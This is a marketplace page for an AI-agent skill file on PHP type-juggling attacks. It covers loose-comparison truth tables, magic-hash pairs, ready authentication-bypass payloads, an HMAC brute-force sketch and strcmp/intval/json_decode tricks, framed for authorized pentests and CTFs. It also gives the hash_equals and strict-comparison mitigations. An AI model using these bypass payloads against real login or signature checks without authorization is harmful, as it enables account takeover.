
type-juggling
PHP type juggling and weak comparison (==) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
- Installs
- 3.6K
- Last 24h
- +16
- Trending rank
- #6658
- Security
- Not audited
Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill type-juggling- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads type-juggling automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
AI LOAD INSTRUCTION: PHP
==coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-stylestrcmp/json_decode/intvaltricks. Use strict routing: map the sink (==vshash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code likemd5($_GET['x'])==md5($_GET['y']), start with this skill; ifhash_equals/===is already used, this path usually does not apply.
0. QUICK START
First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
First-pass payloads (auth / token shape)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
Minimal PHP probes (local or php -r in lab)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
Routing hints
| Clue | Next step |
|---|---|
Source code uses == to compare passwords, tokens, or HMAC values | Go to Sections 1-3 |
md5($a) == md5($b) or loose sha1 comparison | Section 2 magic hashes |
hash_hmac(...) != '0' or compared with "0" | Section 3 |
strcmp、json_decode(..., true)、intval | Section 5 |
1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS
PHP compares operands with type juggling unless you use === or hash_equals() for secrets.
1.1 Core examples (strings vs numbers)
| Expression | Result | Mechanism (short) |
|---|---|---|
'0010e2' == '1e3' | true | Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”) |
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' | true | Both parse as 0.0 in scientific notation |
'123a' == 123 | true | String cast to int stops at first non-digit → 123 |
'abc' == 0 | true (PHP 7.x and earlier) | Non-numeric string compared to int → string becomes 0 |
'' == 0 | true | Empty string → 0 |
'' == false | true | both “falsy” in loose rules |
false == NULL | true | loose equality |
0 == false | true | loose equality |
'' == 0 == false == NULL | true (chain) | Each adjacent pair is true under == (''==0, 0==false, false==NULL) — classic “falsy” chain |
'0' == false | true | String '0' is the only non-empty string that compares as false to boolean |
'php' == 0 | false (PHP 8+) | PHP 8: non-numeric string no longer equals 0 |
1.2 PHP 5 vs 7 vs 8 (high-signal deltas)
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
|---|---|---|
0 == "foo" | true (string → 0) | false |
String-to-number for "123a" | Still truncates for (int) / numeric compare in many == paths | Same idea for numeric strings; non-numeric vs int fixed as above |
md5([]) / sha1([]) | May warn / NULL-like behavior in older patterns | TypeError for wrong types — kills classic [] tricks unless error handling collapses to NULL |
Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
1.3 Safe alternative (defense / verification)
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;
2. MAGIC HASHES (0e… + digits only)
When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.
2.1 Reference table (MD5 / SHA-1 and longer algos)
| Algorithm | Example input | Digest (starts with 0e + all decimal digits) |
|---|---|---|
| MD5 | 240610708 | 0e462097431906509019562988736854 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 |
| SHA-1 | 10932435112 | 0e07766915004133176347055865026311692244 |
| SHA-224 | (brute-force / precomputed) | Example form: 0e + decimal digits only → == with another such string is true |
| SHA-256 | (brute-force / precomputed) | Same pattern: only strings matching ^0e\d+$ collide under == |
Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0 → true.
2.2 Exploit pattern in code
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}
2.3 Payload sketch (pair hunting)
?a=240610708&b=QNKCDZO
For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.
3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)
If logic uses loose inequality against a constant:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.
Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.
Example (MD5-style 0e digest for a numeric message)
| Concept | Example |
|---|---|
| Message type | Unix timestamp, incrementing id, millisecond clock |
| Timestamp brute-force pattern | Tutorials sometimes cite 1539805986 → 0e772967136366835494939987377058 as a magic-hash style example; md5('1539805986') does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches ^0e[0-9]+$) and always verify against the exact function + key in the target code. |
| Goal | Find $data such that hash_hmac('md5', $data, $key) matches ^0e[0-9]+$ |
| Note | Without knowing $key, you may still brute $data if algorithm/output are visible in a oracle; CTFs often leak or fix key |
# Conceptual: try many timestamps
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".
4. NULL JUGGLING (ARRAYS & TYPE ERRORS)
Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.
| Call | Typical PHP 7/8 behavior |
|---|---|
md5([]) | PHP 8: TypeError; older: warnings / not reliable across versions |
sha1([]) | Same |
| Idea | If error handler or custom wrapper converts failures to NULL, then NULL == NULL or NULL == sha1("x") if other side is also NULL |
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → true
Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.
5. CTF PATTERNS
5.1 strcmp / strcasecmp with arrays
strcmp([], "password"); // NULL in PHP 7/8 (invalid args)
// NULL == 0 → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)
Payload:
?p[]=1
5.2 intval bypass
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0); // → 26
// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2
5.3 json_decode + true for associative array auth
{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
5.4 is_numeric + loose compare
is_numeric("0e12345"); // true
"0e12345" == 0; // true (scientific notation → 0.0)
5.5 Deserialization + magic properties
Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.
6. DECISION TREE
+------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+
Tool references
| Tool | Use |
|---|---|
Local php CLI | Reproduce == behavior for target major version |
| Static code review | Grep ==, != on crypto outputs; find missing hash_equals |
| CTF frameworks | Payload generators for magic hashes and 0e search |
Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.
FAQ
What does the type-juggling skill do?
PHP type juggling and weak comparison (==) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
How do I install type-juggling?
Run npx skills add https://github.com/yaklang/hack-skills --skill type-juggling in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/type-juggling/ (personal) or .claude/skills/type-juggling/ (project).
Which AI agents can use type-juggling?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is type-juggling safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains type-juggling?
It is published by yaklang in yaklang/hack-skills. It has 3,575 recorded installs.
More from yaklang/hack-skills
hack
yaklang/hack-skills
Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.
android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
recon-and-methodology
yaklang/hack-skills
Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.
sqli-sql-injection
yaklang/hack-skills
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
code-obfuscation-deobfuscation
yaklang/hack-skills
Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.
xss-cross-site-scripting
yaklang/hack-skills
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
Popular backend & apis skills
find-skills
vercel-labs/skills
Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.
entra-app-registration
microsoft/azure-skills
Guides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API permissions, generate service principal, MSAL example, console app auth, Entra ID setup, Azure AD authentication. DO NOT USE FOR: Key Vault secrets (use azure-keyvault-expiration-audit), general Azure resource security guidance.
google-agents-cli-adk-code
google/agents-cli
This skill should be used when the user wants to "write agent code", "build an agent with ADK", "add a tool", "create a callback", "define an agent", "use state management" — in a project that needs ADK (Agent Development Kit) API patterns and code examples. It provides a quick reference for agent types, tool definitions, orchestration patterns, callbacks, state management, the graph Workflow API, and reference recipes to study. Do NOT use for scaffolding (use google-agents-cli-scaffold) or deployment (use google-agents-cli-deploy).
embedded-captions
heygen-com/hyperframes
Add captions or subtitles to an existing single-subject talking-head video without editing the footage. Use for plain verbatim captions, cinematic captions embedded behind the subject, VFX captions, “炸/特效/酷炫字幕,” or a named identity from the 35-style catalog. Route by visual identity, not by backend engine. The quiet anchor rail is the default; embed every word only when the user explicitly wants a fully cinematic treatment. The workflow runs locally end to end, including transcription and subject matting; split multi-shot footage before applying it.
entra-agent-id
microsoft/azure-skills
Provision Microsoft Entra Agent Identity Blueprints, BlueprintPrincipals, and per-instance Agent Identities via Microsoft Graph, and configure OAuth 2.0 token exchange (fmipath, OBO, cross-tenant) including the Microsoft Entra SDK for AgentID sidecar. USE FOR: Agent Identity Blueprint, BlueprintPrincipal, agent OAuth, fmipath token exchange, agent OBO, Workload Identity Federation for agents, polyglot agent auth, Microsoft.Identity.Web.AgentIdentities. DO NOT USE FOR: standard Entra app registration (use entra-app-registration), Microsoft Foundry agent authoring (use microsoft-foundry).
neon
neondatabase/agent-skills
Overview of Neon, a complete set of cloud backend primitives around Lakebase Postgres: Auth, Object Storage, Functions, the AI Gateway, and Realtime. Start here to choose Neon for undecided login, files, APIs, and LLM calls, set up the CLI or MCP server, and follow the branch-first workflow. Use when building an app or backend on Neon, or when "Neon" or "Lakebase Postgres" is mentioned. Child skill neon-postgres wins for an existing DATABASEURL, SQL, schema, inspect, or search. Child skill neon-auth wins for login, users, sessions, identity routing, and Managed Better Auth setup. Child skill neon-realtime wins for live queries in reactive apps and agents. Also use for object storage, S3, buckets, serverless functions, function triggers, cron, AI gateway, LLM calls, realtime, logs, Loki, Grafana, observability, postgres, database, backend, Claimable Neon, neon.new, or a no-signup database.